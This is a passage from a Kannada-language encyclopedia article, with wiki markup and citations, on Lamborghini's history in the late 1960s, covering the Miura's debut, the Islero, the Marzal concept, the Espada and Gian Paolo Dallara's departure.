ಸ್ವರೂಪದಲ್ಲಿರಲಿಲ್ಲ. ಶಕ್ತಿ ಸಂವಹನ ವ್ಯವಸ್ಥೆ ಮತ್ತು ವ್ಯತ್ಯಾಸಾತ್ಮಕ ವ್ಯವಸ್ಥೆಯೊಂದಿಗೆ ಇದನ್ನು ಪರಿಣಾಮಕಾರಿಯಾಗಿ ವಿಲೀನಗೊಳಿಸಲಾಗಿತ್ತು. ಬಿಗಿಯಾಗಿ-ಸಂಘಟ್ಟಿಸಲಾದ ವಿನ್ಯಾಸದಲ್ಲಿದ್ದ ಒಂದು ಅವಕಾಶದ ಕೊರತೆಯಿಂದ ಇದು ಸಾಧ್ಯವಾಯಿತು. 1965ರಲ್ಲಿ ಟ್ಯೂರಿನ್‌ನಲ್ಲಿ ತಿರುಗುವ ವಾಹನದ ಅಡಿಗಟ್ಟನ್ನು ಪ್ರದರ್ಶಿಸಲಾಯಿತು; ಪ್ರದರ್ಶನಕ್ಕೆ ಬಂದಿದ್ದವರು ಇದರಿಂದ ಎಷ್ಟರಮಟ್ಟಿಗೆ ಪ್ರಭಾವಿತಗೊಂಡರೆಂದರೆ, ವಾಹನದ ಅಡಿಗಟ್ಟಿನ ಮೇಲಿರಬೇಕಾದ ಕಾರಿನ ಶರೀರವು ಇಲ್ಲದಿದ್ದರೂ ಸಹ ಈ ಕಾರಿಗಾಗಿ ತಮ್ಮ ಬೇಡಿಕೆಗಳನ್ನು ಸಲ್ಲಿಸಿದರು. ಮೂಲಮಾದರಿಯ ವಿನ್ಯಾಸದ ಹೊಣೆಗಾರಿಕೆಯನ್ನು ಬೆರ್ಟೋನ್‌ಗೆ ವಹಿಸಲಾಯಿತು. 1966ರ ಜಿನಿವಾ ಮೋಟಾರು ಪ್ರದರ್ಶನದಲ್ಲಿ ಸದರಿ ಮೂಲಮಾದರಿಯ ಪಾದಾರ್ಪಣವಾಗುವುದಕ್ಕೆ ಕೆಲವೇ ದಿನಗಳು ಮುಂಚಿತವಾಗಿ ಸದರಿ ವಿನ್ಯಾಸಕಾರ್ಯವು ಸಂಪೂರ್ಣಗೊಂಡಿತು. ಕುತೂಹಲಕರ ವಿಷಯವೆಂದರೆ, ತನ್ನ ವಿಭಾಗದಲ್ಲಿ ಎಂಜಿನ್ನು ಸೂಕ್ತವಾಗಿ ಅಕಡವಾಗುವುದೇ ಎಂಬುದನ್ನು ಪರೀಕ್ಷಿಸಲೂ ಸಹ ಈ ಮೂವರು ಎಂಜಿನಿಯರುಗಳ ಪೈಕಿ ಯಾರೊಬ್ಬರಿಗೂ ಸಮಯವಿರಲಿಲ್ಲ; ಕಾರನ್ನು ತೋರಿಸಬೇಕೆಂಬ ಬದ್ಧತೆಯನ್ನು ಹೊಂದಿದ್ದ ಅವರು, ಎಂಜಿನ್ನಿನ ಕುಳಿಯನ್ನು ಸ್ಥಿರಭಾರದ ವಸ್ತುಗಳೊಂದಿಗೆ ತುಂಬಿಸಲು, ಮತ್ತು ಪ್ರದರ್ಶನದಾದ್ಯಂತ ಎಂಜಿನ್ನಿನ ಮುಚ್ಚಳವನ್ನು ಮುಚ್ಚಿ ಭದ್ರಪಡಿಸಿದ ಸ್ಥಿತಿಯಲ್ಲಿಡಲು ಅವರು ನಿರ್ಧರಿಸಿದರು. 350GTV ಮಾದರಿಯ ಪಾದಾರ್ಪಣಕ್ಕೆ ಮುಂಚಿತವಾಗಿ ಮೂರುವರ್ಷಗಳನ್ನು ಅವರು ಹೊಂದಿದ್ದು ಇದಕ್ಕೆ ಕಾರಣವಾಗಿತ್ತು.<ref name="Jolliffe31">ಜೊಲಿಫೆ, 31.</ref> P400ನ ಶಕ್ತಿಕೇಂದ್ರವನ್ನು ನೋಡಲು ಬಯಸಿದ ಮೋಟರಿಂಗ್‌ ಪತ್ರಿಕಾವಲಯದ ಸದಸ್ಯರಿಗೆ ಪ್ರವೇಶಾವಕಾಶವನ್ನು ನಿರಾಕರಿಸವಂತೆ ಮಾರಾಟದ ಮುಖ್ಯಸ್ಥನಾದ ಸ್ಗಾರ್ಜಿಯು ಒತ್ತಾಯಕ್ಕೊಳಗಾದ. ಈ ಹಿನ್ನಡೆಯನ್ನು ಹೊರತುಪಡಿಸಿ, ಸದರಿ ಕಾರು ಪ್ರದರ್ಶನದ ತಾರೆಯಾಗಿ ಮೆರೆದಿದ್ದೇ ಅಲ್ಲದೇ, ವಿನ್ಯಾಸಕಾರನಾದ [[ಮಾರ್ಸೆಲೊ ಗ್ಯಾಂಡಿನಿ]]ಯನ್ನು ತನ್ನ ಸ್ವಂತ ಹಕ್ಕಿನಿಂದ ಓರ್ವ ತಾರೆಯಾಗುವಲ್ಲಿ ಅನುವುಮಾಡಿಕೊಟ್ಟಿತು. ಜಿನಿವಾದಲ್ಲಿ ಕಂಡುಬಂದ ಪೂರಕ ಪ್ರತಿಕ್ರಿಯೆಯು [[ಮಿಯುರಾ]] ಎಂಬ ಬೇರೆಯದೇ ಹೆಸರಿನಡಿಯಲ್ಲಿ ಮರುವರ್ಷದ ಹೊತ್ತಿಗೆ P400 ಮಾದರಿಯ ಕಾರುಗಳ ತಯಾರಿಕೆಗೆ ಇಳಿಯಲು ಅನುವುಮಾಡಿಕೊಟ್ಟಿತು. ಈಗ ಲಂಬೋರ್ಘಿನಿಯ ಮುಂದೆ ಎರಡು-ಕವಲಿನ ಪ್ರಸ್ತಾವಗಳಿದ್ದವು; ಅನನುಭವಿ ಮೋಟಾರು ಕಾರು ತಯಾರಕನನ್ನು ಸೂಪರ್‌ಕಾರುಗಳ ಪ್ರಪಂಚದಲ್ಲಿ ಓರ್ವ ಅಗ್ರಗಣ್ಯನಾಗಿ ಮಿಯುರಾ ಪ್ರತಿಷ್ಠಾಪಿಸಿತು, ಮತ್ತು ಪ್ರಾರಂಭದಿಂದಲೂ ಲಂಬೋರ್ಘಿನಿಯು ಬಯಸಿದ್ದಂತೆ 400GT ಮಾದರಿಯು ಒಂದು ಅತ್ಯಾಧುನಿಕ ರಸ್ತೆಯ ಕಾರಾಗಿ ಹೊರಹೊಮ್ಮಿತ್ತು. ಆಟೋಮೊಬಿಲಿಯ ಮತ್ತು ಅವನ ಇತರ ವ್ಯಾವಹಾರಿಕ ಆಸಕ್ತಿಗಳು ಉತ್ಕರ್ಷ ಸ್ಥಿತಿಯನ್ನು ತಲುಪುತ್ತಿದ್ದಂತೆ, ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿಯ ಜೀವನವು ಒಂದು ಉನ್ನತ ಸ್ಥಾನಕ್ಕೆ ಮುಟ್ಟಿತು. 1966ರ ಅಂತ್ಯದ ವೇಳೆಗೆ, ಸ್ಯಾಂಟ್‌’ಅಗಾಟಾ ಕಾರ್ಖಾನೆಯಲ್ಲಿನ ನೌಕರವರ್ಗದ ಸಂಖ್ಯೆಯು 300ಕ್ಕೆ ವಿಸ್ತರಿಸಲ್ಪಟ್ಟಿತು. 1967ರಲ್ಲಿ ಅಭಿವೃದ್ಧಿ ಕಾರ್ಯಕ್ರಮವನ್ನು ಪ್ರಾರಂಭಿಸಲು ಅನುವಾಗುವಂತೆ, ಉತ್ಸುಕರಾಗಿದ್ದ ಮಿಯುರಾ ಖರೀದಿದಾರರಿಂದ ಸಾಕಷ್ಟು ಠೇವಣಿಗಳು ಮಾಡಲ್ಪಟ್ಟಿದ್ದವು . ಮಿಯುರಾವನ್ನು ಪಂದ್ಯದಲ್ಲಿ ಓಡಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ವಿಷಯದ ಕುರಿತಾಗಿ ತನ್ನ ಎಂಜಿನಿಯರಿಂಗ್‌ ತಂಡದೊಡನೆ ಫೆರುಸ್ಸಿಯೋನ ತಿಕ್ಕಾಟವು ಮುಂದುವರಿದೇ ಇತ್ತು. ಮೊದಲ ನಾಲ್ಕು ಕಾರುಗಳನ್ನು ಕಾರ್ಖಾನೆಯಲ್ಲೇ ಇರಿಸಲಾಯಿತು. ಬಾಬ್‌ ವ್ಯಾಲೇಸ್‌ ಅಲ್ಲಿ ಕಾರಿನ ಸುಧಾರಣೆ ಹಾಗೂ ಪರಿಷ್ಕರಣಾ ಕಾರ್ಯವನ್ನು ಮುಂದುವರಿಸಿದ. ಡಿಸೆಂಬರ‍್ ವೇಳೆಗೆ 108 ಕಾರುಗಳನ್ನು ವಿತರಿಸಲಾಗಿತ್ತು.<ref name="Jolliffe36">ಜೊಲಿಫೆ, 36.</ref> ಮಧ್ಯ-ಎಂಜಿನ್ನಿನ ಎರಡು-ಆಸನದ ಉನ್ನತ ನಿರ್ವಹಣೆಯ ಕ್ರೀಡಾಕಾರುಗಳ ವಲಯದಲ್ಲಿ ಮಿಯುರಾ ಕಾರು ಒಂದು ಪೂರ್ವನಿದರ್ಶನವಾಗಿ ನೆಲೆಕಂಡಿತು.<ref>[http://en.wikipedia.org/wiki/List_of_Top_Gear_episodes#Series_Three ಟಾಪ್‌ ಗೇರ್‌ ಎಪಿಸೋಡ್‌ 4, ಸ್ಪೋಕನ್‌ ಬೈ ರಿಚರ್ಡ್‌ ಹ್ಯಾಮಾಂಡ್‌].</ref> ಟೂರಿಂಗ್‌ ಕಂಪನಿಯಿಂದ ನಿರ್ಮಿಸಲ್ಪಟ್ಟ ಒಂದು ಪರಿವರ್ತನೀಯ ಮಾದರಿಯಾದ 350 GTS ರೋಡ್‌ಸ್ಟರ್‌ನ ಹಲವಾರು ಮಾದರಿಗಳೊಂದಿಗೆ, 400GT ಮಾದರಿಯ ಕಾರುಗಳ ಉತ್ಪಾದನೆಯನ್ನು ಕಾರ್ಖಾನೆಯು ಮುಂದುವರಿಸಿತು. ವಾಹನದ ಅದೇ ಅಡಿಗಟ್ಟಿನ ಆಧಾರದ ಮೇಲೆ 400GT ಮಾದರಿಗಾಗಿ ಒಂದು ಸಂಭವನೀಯ ಬದಲಿ ಬಳಕೆಯೊಂದರ ಕುರಿತು ಆಲೋಚಿಸಲು ವಾಹನ ಚೌಕಟ್ಟು ನಿರ್ಮಾತೃವನ್ನು ಮತ್ತೊಮ್ಮೆ ನಿಯೋಜಿಸಿದ. ಟೂರಿಂಗ್‌ ಕಂಪನಿಯು [[400 GT ಫ್ಲೈಯಿಂಗ್‌ ಸ್ಟಾರ್‌ II]] ಎಂಬ ಮಾದರಿಯನ್ನು ಸೃಷ್ಟಿಸಿತು. ಇದೊಂದು ಕಳಪೆ-ಕುಸುರಿಗಾರಿಕೆಯ, ನಾಜೂಕಿಲ್ಲದ ವಾಹನವಾಗಿತ್ತು. [[ಮೊದೆನಾ]]ದಲ್ಲಿನ ತಯಾರಕನಾದ, ನೇರಿ ಮತ್ತು ಮತ್ತು ಬೊನಾಸಿನಿ ವಾಹನ ಚೌಕಟ್ಟು ನಿರ್ಮಾಣಗಾರರಿಗೆ ಸೇರಿದ ಜಾರ್ಜಿಯೋ ನೇರಿ ಮತ್ತು ಲೂಸಿಯಾನೊ ಬೊನಾಸಿನಿ ಎಂಬಿಬ್ಬರಿಗೆ ಒಂದು ಪರಿಕಲ್ಪನೆಯನ್ನು ಸಿದ್ಧಪಡಿಸಲು ಕೇಳಿಕೊಳ್ಳಲಾಗಿತ್ತು. ಅದು [[400GT ಮೋಂಝಾ]] ಮಾದರಿಯನ್ನು ತಯಾರಿಸಿತ್ತು. ಎರಡೂ ಕಾರುಗಳನ್ನೂ ಲಂಬೋರ್ಘಿನಿ ತಿರಸ್ಕರಿಸಿದ. ವಾಹನ ಚೌಕಟ್ಟು ನಿರ್ಮಾತೃಗಳ ಪ್ರಯತ್ನಗಳು ಅವನಿಗೆ ಸಮಾಧಾನವನ್ನು ತಂದಿರಲಿಲ್ಲ.<ref name="Jolliffe37">ಜೊಲಿಫೆ, 37.</ref> ದಿನೇ ದಿನೇ ಹೆಚ್ಚುತ್ತಿದ್ದ ಹಣಕಾಸಿನ ತೊಂದರೆಗಳನ್ನು ಎದುರಿಸುತ್ತಿದ್ದ ಟೂರಿಂಗ್‌ ಕಂಪನಿಯು ಅದೇ ವರ್ಷದಲ್ಲಿ ತನ್ನ ಬಾಗಿಲುಗಳನ್ನು ಮುಚ್ಚಿತು. ===1967-1968: ಮಾರಾಟಗಳ ಯಶಸ್ಸಿನ ಆರಂಭ=== [[File:Lamborghini Islero S.jpg|thumb|left|ಮಾರಾಟದ ವಿಷಯದಲ್ಲಿ ಇಸ್ಲೆರೊ ನಿರಾಶೆಯನ್ನು ಮೂಡಿಸಿತಾದರೂ, ಒಂದು ವಿಶ್ವಸಾರ್ಹವಾದ ವೈಭವದ ಪ್ರವಾಸ ವಾಹನದ ಫೆರುಸ್ಸಿಯೋನ ನಾದರಿಗೆ ಇದು ನಿಷ್ಠವಾಗಿತ್ತು]] 400GT ಮಾದರಿಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಬದಲಿ ಮಾದರಿಗಾಗಿ ಇನ್ನೂ ಹುಡುಕುತ್ತಿದ್ದ ಫೆರುಸ್ಸಿಯೋ, ಈ ಹಿಂದೆ ಟೂರಿಂಗ್‌ ಕಂಪನಿಯಲ್ಲಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದ ಮಾರಿಯೋ ಮರಾಝಿ ಎಂಬ ಬೆರ್ಟೋನ್‌ ವಿನ್ಯಾಸಕಾರನ ಸಹಾಯವನ್ನು ಕೋರಿದ. ಲಂಬೋರ್ಘಿನಿಯ ಎಂಜಿನಿಯರುಗಳ ಜೊತೆ ಸೇರಿಕೊಂಡು ವಾಹನ ಚೌಕಟ್ಟು ನಿರ್ಮಾತೃವು [[ಮರ್ಝಾಲ್‌]] ಎಂಬ ಹೆಸರಿನ ಒಂದು ನಾಲ್ಕು-ಆಸನಗಳ ವಾಹನವನ್ನು ಸೃಷ್ಟಿಸಿದ. ಇದರ ಅಡಿಗಟ್ಟು ಮಿಯುರಾ ಮಾದರಿಗೆ ಆಧಾರವಾಗಿದ್ದ ಅಡಿಗಟ್ಟಿನ, ಒಂದು ಮೂಲಭೂತವಾಗಿ ಹಿಗ್ಗಿಸಲಾದ ಆವೃತ್ತಿಯಾಗಿತ್ತು, ಮತ್ತು ಲಂಬೋರ್ಘಿನಿಯ V12 ವಿನ್ಯಾಸದ ಒಂದೂವರೆಯಷ್ಟು ಗಾತ್ರದಲ್ಲಿದ್ದ ಪರಿಣಾಮಕಾರಿಯಾದ ಆರು-ಸಿಲಿಂಡರಿಗೆ ಅನುಸಾರವಾಗಿ ಎಂಜಿನ್‌ ಇತ್ತು.<ref name="Jolliffe38">ಜೊಲಿಫೆ, 38.</ref> ಮೇಲಕ್ಕೆ ತೆರೆದುಕೊಳ್ಳುವ ಬಾಗಿಲುಗಳು ಹಾಗೂ ಅತಿದೊಡ್ಡ ಗಾಜಿನ ಕಿಟಕಿಗಳನ್ನು ಈ ಕಾರು ಒಳಗೊಂಡಿತ್ತು. ಇದರ ನವನೀವ ವಿನ್ಯಾಸದ ಹೊರತಾಗಿಯೂ, ಫೆರುಸ್ಸಿಯೋ ಸದರಿ ಕಾರನ್ನು 400GT ಮಾದರಿಯ ಬದಲಿ ಎಂಬುದಾಗಿ ಮತ್ತೊಮ್ಮೆ ಉಪೇಕ್ಷಿಸಿದ ಅಥವಾ ಬಿಟ್ಟುಬಿಟ್ಟ. ಸ್ವತಃ ಲಂಬೋರ್ಘಿನಿಯ ತೀರ್ಮಾನದ ಅನುಸಾರ, ಮರಾಝಿ ತನ್ನ ವಿನ್ಯಾಸದ ತೀಕ್ಷ್ಣತೆಯನ್ನು ಕೊಂಚ ತಗ್ಗಿಸಿದ. ಇದರ ಪರಿಣಾಮವಾಗಿ ಹೊರಹೊಮ್ಮಿದ [[ಇಸ್ಲೆರೊ 400GT]] ಎಂಬ ಮಾದರಿಯು ಬಹುತೇಕವಾಗಿ ಒಂದು ಮರುವರ್ಣದ ಹೊರಮೈನ 400GT ಮಾದರಿಯಾಗಿತ್ತೇ ವಿನಃ, ಫೆರುಸ್ಸಿಯೋ ಬಯಸಿದಂತೆ ಒಂದು ಸಂಪೂರ್ಣ ನಾಲ್ಕು-ಆಸನದ ಮಾದರಿಯಾಗಿರಲಿಲ್ಲ. ಇಷ್ಟಾಗಿಯೂ ಆತ ಈ ಕಾರನ್ನು ಕಂಡು ಅವನಿಗೆ ಸಂತೋಷವಾಯಿತು. ಏಕೆಂದರೆ, ಇದು ಉತ್ತಮವಾಗಿ-ಅಭಿವೃದ್ಧಿಪಡಿಸಲ್ಪಟ್ಟಿದ್ದು ವಿಶ್ವಾಸಸಾರ್ಹವಾಗಿದ್ದರ ಜೊತೆಗೆ, ಅವನು ಸಂತೋಷಪಟ್ಟು ಚಾಲಿಸುತ್ತಿದ್ದ ''ಗ್ರಾನ್‌ ಟರ್ಸಿಮೋ'' ಉತ್ಪನ್ನವನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತಿತ್ತು.<ref name="Jolliffe39" /> ಇಸ್ಲೆರೊ ಮಾದರಿಯು ಮಾರುಕಟ್ಟೆಯ ಮೇಲೆ ಅಂಥಾ ಮಹಾನ್‌ ಪರಿಣಾಮವನ್ನೇನೂ ಬೀರಲಿಲ್ಲ; 1968 ಮತ್ತು 1969ರ ನಡುವೆ ಕೇವಲ 125 ಕಾರುಗಳನ್ನಷ್ಟೇ ತಯಾರಿಸಲಾಯಿತು.<ref>{{cite web|url=http://lamborghiniregistry.com/Islero/Islero/index.html|title=Lamborghini Islero 400GT|publisher=Lamborghiniregistry.com|date=|accessdate=2010-01-21|archive-date=2007-10-21|archive-url=https://web.archive.org/web/20071021045450/http://lamborghiniregistry.com/Islero/Islero/index.html|url-status=bot: unknown}}</ref> {{ external media | width = 210px | align = right | video1 = [https://www.youtube.com/watch?v=0vKbLD6_C8k Amateur video of the Sant'Agata factory, followed by a drive in an Islero] }} 1968ರಲ್ಲಿ ಮಿಯುರಾದ ಹೊಸ ಆವೃತ್ತಿಗಳು ಆಗಮಿಸಿದವು; ಮಿಯುರಾ P400 S (ಹೆಚ್ಚು ಸಾಮಾನ್ಯವಾಗಿ ಮಿಯುರಾ S ಎಂದೇ ಇವು ಹೆಸರಾಗಿದ್ದವು) ಮಾದರಿಗಳು ಒಂದು ಸೆಟೆದುಕೊಂಡ ವಾಹನದ ಅಡಿಗಟ್ಟು ಹಾಗೂ ಹೆಚ್ಚು ಶಕ್ತಿಯನ್ನು ಒಳಗೊಂಡಿದ್ದು, V12ಯು 7000 rpm ಮಟ್ಟದಲ್ಲಿ 370 bhpಯಷ್ಟು ಶಕ್ತಿಯನ್ನು ನೀಡುತ್ತಿತ್ತು. 1968ರಲ್ಲಿ ಆಯೋಜಿತವಾಗಿದ್ದ ಬ್ರಸೆಲ್ಸ್‌ ವಾಹನ ಪ್ರದರ್ಶನದಲ್ಲಿ, ಮೋಟಾರು ಕಾರು ತಯಾರಕನು ಕೂಪೇಯ ಒಂದು ತೆರೆದ-ಛಾವಣಿಯ ಆವೃತ್ತಿಯಾದ ಮಿಯುರಾ P400 [[ರೋಡ್‌ಸ್ಟರ್‌]] (ಹೆಚ್ಚು ಸಾಮಾನ್ಯವಾಗಿ ಇದು ಮಿಯುರಾ ಸ್ಪೈಡರ‍್ ಎಂದೇ ಜನಪ್ರಿಯವಾಗಿತ್ತು) ಮಾದರಿಯನ್ನು ಅನಾವರಣಗೊಳಿಸಿತು. ಇಷ್ಟುಹೊತ್ತಿಗೆ ಬೆರ್ಟೋನ್‌ನಲ್ಲಿ ವಿನ್ಯಾಸ ವಿಭಾಗದ ಮುಖ್ಯಸ್ಥನ ಸ್ಥಾನವನ್ನು ಪರಿಣಾಮಕಾರಿಯಾಗಿ ನಿರ್ವಹಿಸುತ್ತಿದ್ದ ಗ್ಯಾಂಡಿನಿ, ವಿವರಗಳಿಗೆ ಹೆಚ್ಚಿನ ಗಮನವನ್ನು ನೀಡಿದ್ದ. ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ, ರೋಡ್‌ಸ್ಟರ್ ಒಂದರಲ್ಲಿನ ಅಂತರ್ಗತ ಲಕ್ಷಣವಾಗಿದ್ದ ಗಾಳಿಯ ತೊನೆದಾಟದ ಮತ್ತು ಶಬ್ದದ ನಿರೋಧನದ ಸಮಸ್ಯೆಗಳ ಕಡೆಗೆ ಅವನ ಗಮನವಿತ್ತು.<ref name="Jolliffe40">ಜೊಲಿಫೆ, 40.</ref> ಗ್ಯಾಂಡಿನಿಯ ಎಲ್ಲಾ ಶ್ರಮದ ಕಾರ್ಯಕ್ಕೆ ಪ್ರತಿಯಾಗಿ, ಎಲ್ಲಾ ಸಂಭವನೀಯ ಖರೀದಿದಾರರೂ ಬೇರೆಡೆಗೆ ತಿರುಗುವಂತೆ ಮಾಡಲು ಸ್ಗಾರ್ಜಿಯು ಒತ್ತಾಯಿಸಲ್ಪಟ್ಟ. ಒಂದು ಸೈದ್ಧಾಂತಿಕವಾದ ರೋಡ್‌ಸ್ಟರ್‌ ತಯಾರಿಕಾ ಕ್ರಮದ ಗಾತ್ರದ ಕುರಿತು ಲಂಬೋರ್ಘಿನಿ ಹಾಗೂ ಬೆರ್ಟೋನ್‌ ಒಂದು ಒಮ್ಮತಕ್ಕೆ ಬರಲಿಲ್ಲವಾದ್ದರಿಂದ ಇದು ಸಂಭವಿಸಿತು. ಅಮೆರಿಕಾದ ಓರ್ವ ಲೋಹದ ಮಿಶ್ರಲೋಹ ಸರಬರಾಜುದಾರನಿಗೆ ಮಿಯುರಾ ಸ್ಪೈಡರ್‌ ಮಾರಲ್ಪಟ್ಟಿತು. ಇದನ್ನು ಆತ ಒಂದು ಮಾರಾಟಗಾರಿಕೆಯ ಸಾಧನವನ್ನಾಗಿ ಬಳಸಲು ಆಶಿಸಿದ್ದ. ಫೆರುಸ್ಸಿಯೋನ ಎಲ್ಲಾ ವ್ಯವಹಾರಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತೆ 1968ರ ವರ್ಷವು ಒಂದು ಗುಣಾತ್ಮಕ ಸಮಯವಾಗಿ ಪರಿಣಮಿಸಿ, ಆ ವರ್ಷದ ಅವಧಿಯಲ್ಲಿ 353 ಕಾರುಗಳನ್ನು ಆಟೋಮೊಬಿಲಿ ವಿತರಿಸಿತು.<ref name="Jolliffe40" /> [[File:Lamborghini-Espada.jpg|thumb|right|ಎಸ್ಪಡಾ ಮಾದರಿಯು ಲಂಬೋರ್ಘಿನಿಯ ಮೊದಲ ನಿಜವಾದ ಜನಪ್ರಿಯ ಮಾದರಿಯಾಗಿದ್ದು, ಇದರ ಹತ್ತು ವರ್ಷಗಳ ತಯಾರಿಕಾ ಅವಧಿಯಲ್ಲಿ 1,200 ಹೆಚ್ಚು ಕಾರುಗಳು ಮಾರಾಟವಾಗಿದ್ದವು]] ಒಂದು ಹೊಚ್ಚ-ಹೊಸ ನಾಲ್ಕು-ಆಸನದ ಕಾರನ್ನು ವಿನ್ಯಾಸಗೊಳಿಸಲು ತಮಗೆ ಅವಕಾಶನೀಡುವಂತೆ ಲಂಬೋರ್ಘಿನಿಯ ಮನವೊಲಿಸುವಲ್ಲಿ ಬೆರ್ಟೋನ್‌ ಯಶಸ್ವಿಯಾಯಿತು. ಆಕಾರವನ್ನು [[ಮಾರ್ಸೆಲೊ ಗ್ಯಾಂಡಿನಿ]] ರೂಪಿಸಿದ, ಮತ್ತು ಪರಿವೀಕ್ಷಣೆಗಾಗಿ ಕಾರಿನ ಶರೀರದ ಒಂದು ಕವಚವನ್ನು ಫೆರುಸ್ಸಿಯೋಗೆ ನೀಡಲಾಯಿತು. ಗ್ಯಾಂಡಿನಿಯು ಸೇರಿಸಿದ್ದ, ದೊಡ್ಡದಾದ [[ಮೇಲಕ್ಕೆ ಬಿಚ್ಚಿಕೊಳ್ಳುವ ಬಾಗಿಲುಗಳೊಂದಿಗಿನ]] ಮಾದರಿಯಿಂದ ಈ ವ್ಯವಹಾರಸ್ಥನಿಗೆ ಅಂಥಾ ಸಂತೋಷವೇನೂ ಆಗಲಿಲ್ಲ, ಮತ್ತು ಸಾಂಪ್ರದಾಯಿಕ ಸ್ವರೂಪದಲ್ಲಿನ ಬಾಗಿಲುಗಳನ್ನು ಕಾರು ಹೊಂದಿದ್ದರೆ ಒಳ್ಳೆಯದು ಎಂದು ಆತ ಒತ್ತಾಯಿಸಿದ.<ref name="Jolliffe38" /> ಸಹಯೋಗದಿಂದ ರೂಪುಗೊಂಡ ಕಾರು [[ಎಸ್ಪಡಾ]] ಎಂಬ ಹೆಸರಿನೊಂದಿಗೆ 1969ರ ಜಿನಿವಾ ಪ್ರದರ್ಶನದಲ್ಲಿ ಪಾದಾರ್ಪಣೆ ಮಾಡಿತು. 3.9-ಲೀಟರ್‌ನಿಂದ ಶಕ್ತಿಒದಗಿಸಲ್ಪಟ್ಟಿರುವಿಕೆ, ಕಾರ್ಖಾನೆಯ V12ವಿನ ಮುಂಭಾಗದಲ್ಲಿ-ಜೋಡಿಸಲಾದ ಹೊರಗಾಣುವಿಕೆ, 325 bhpಯಷ್ಟು ಸಾಮರ್ಥ್ಯ ಇವು ಈ ಮಾದರಿಯ ಲಕ್ಷಣಗಳಾಗಿದ್ದವು. ಹತ್ತು ವರ್ಷಗಳ ಉತ್ಪಾದನಾ ಅವಧಿಯಾದ್ಯಂತ ಒಟ್ಟಾರೆಯಾಗಿ 1,217 ಕಾರುಗಳು ತಯಾರಾಗುವ ಮೂಲಕ, ಎಸ್ಪಡಾ ಮಾದರಿಯು ಮಿತಿಮೀರಿದ ಯಶಸ್ಸನ್ನು ದಾಖಲಿಸಿತು.<ref name="Jolliffe39">ಜೊಲಿಫೆ, 39.</ref> [[File:1969 British Grand Prix P Courage Brabham BT26.jpg|thumb|left|ಡಿ ಟಮಾಸೊ ಮೊದೆನಾದಲ್ಲಿನ F1 ಕಾರ್ಯಕ್ರಮವನ್ನು ನಡೆಸಲು ಡಲ್ಲಾರಾ ಮಾದರಿಯನ್ನು ಲಂಬೋರ್ಘಿನಿಯು ಎರವಲು ಪಡೆಯಿತು. ಇದು 1970ರಲ್ಲಿನ ಫ್ರಾಂಕ್‌ ವಿಲಿಯಮ್ಸ್‌ ರೇಸಿಂಗ್‌ ಕಾರುಗಳಿಗಾಗಿರುವ ಒಂದು ವಾಹನದ ಅಡಿಗಟ್ಟಿನ ವಿನ್ಯಾಸಕ್ಕಾಗಿದ್ದ ಒಂದು ಕಾರ್ಯಕ್ರಮವಾಗಿತ್ತು]] ===1968-1969: ಜಯಿಸಲಾದ ತೊಡಕುಗಳು=== ಮೋಟಾರು ವಾಹನದ ಪಂದ್ಯದಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳಲು ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿಯು ನಿರಾಕರಿಸಿದ್ದಕ್ಕೆ ನಿರಾಶೆಗೊಂಡಿದ್ದ [[ಗಿಯಾನ್‌ ಪಾವೊಲೊ ಡಲ್ಲಾರಾ]]ನನ್ನು 1968ರ ಆಗಸ್ಟ್‌ನಲ್ಲಿ ಮೊದೆನಾದಲ್ಲಿನ ಪ್ರತಿಸ್ಪರ್ಧಿ ಮೋಟಾರು ಕಾರು ತಯಾರಕನಾದ [[ಡಿ ಟಮಾಸೊ]]ದಲ್ಲಿ ಆಯೋಜಿಸಲಾಗಿದ್ದ [[ಫಾರ್ಮುಲಾ ಒನ್‌]] ಕಾರ್ಯಕ್ರಮದ ನೇತೃತ್ವವನ್ನು ವಹಿಸಲು ಸ್ಯಾಂಟ್‌’ಅಗಾಟಾ ವತಿಯಿಂದ ನೇಮಿಸಲಾಗಿತ್ತು. ಲಾಭಾಂಶದಲ್ಲಿ ಏರಿಕೆಯೊಂದಿಗೆ ಒಂದು ಮೋಟಾರು ಪಂದ್ಯದ ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ ತೊಡಗಿಸಿಕೊಳ್ಳುವುದು ಒಂದು ಸಂಭವನೀಯತೆಯಾಗಿರುತ್ತದೆ. ಆದರೆ ಲಂಬೋರ್ಘಿನಿ ಇದಕ್ಕೆ ವಿರುದ್ಧವಾಗಿ, ಅದರಲ್ಲೂ ಮೂಲಮಾದರಿಗಳ ನಿರ್ಮಾಣಕ್ಕೆ ವಿರುದ್ಧವಾಗಿ ಉಳಿದುಕೊಂಡ. ತನ್ನ ಗುರಿಯ ಕುರಿತು ಅವನು ಮಾತನಾಡುತ್ತಾ, "ಯಾವುದೇ ನ್ಯೂನತೆಗಳಿಲ್ಲದ GT ಕಾರುಗಳನ್ನು ನಿರ್ಮಸುವುದು ನನ್ನ ಬಯಕೆಯೇ ಹೊರತು ಒಂದು ತಾಂತ್ರಿಕ ಬಾಂಬ್‌ನ್ನು ನಿರ್ಮಿಸುವುದಲ್ಲ. ನಾನು ತಯಾರಿಸುವ ಕಾರು ಒಂದು ಸಾಮಾನ್ಯವಾದ, ಸಾಂಪ್ರದಾಯಿಕವಾದ ಆದರೆ ಕರಾರುವಾಕ್ಕಾಗಿರುವ ಕಾರು ಆಗಿರಬೇಕೆಂಬುದು ನನ್ನ ಬಯಕೆ" ಎಂದು ತಿಳಿಸಿದ.<ref name="Jolliffe41">ಜೊಲಿಫೆ, 41.</ref> ಎಂಝೊ ಫೆರಾರಿಯ ಕೆಲಸಗಳಿಗೆ ಸಮನಾಗಿರುವ ಅಥವಾ ಮೇಲ್ಮಟ್ಟದಲ್ಲಿರುವ ಕಾರುಗಳನ್ನು ನೆಲೆಗಾಣಿಸುವ ಹಾಗೂ ಸ್ವತಃ ತಾನೂ ನೆಲೆಗೊಳ್ಳುವ ಅವನ ಗುರಿಯು ಇಸ್ಲೆರೊ ಮತ್ತು ಎಸ್ಪಡಾದಂಥ 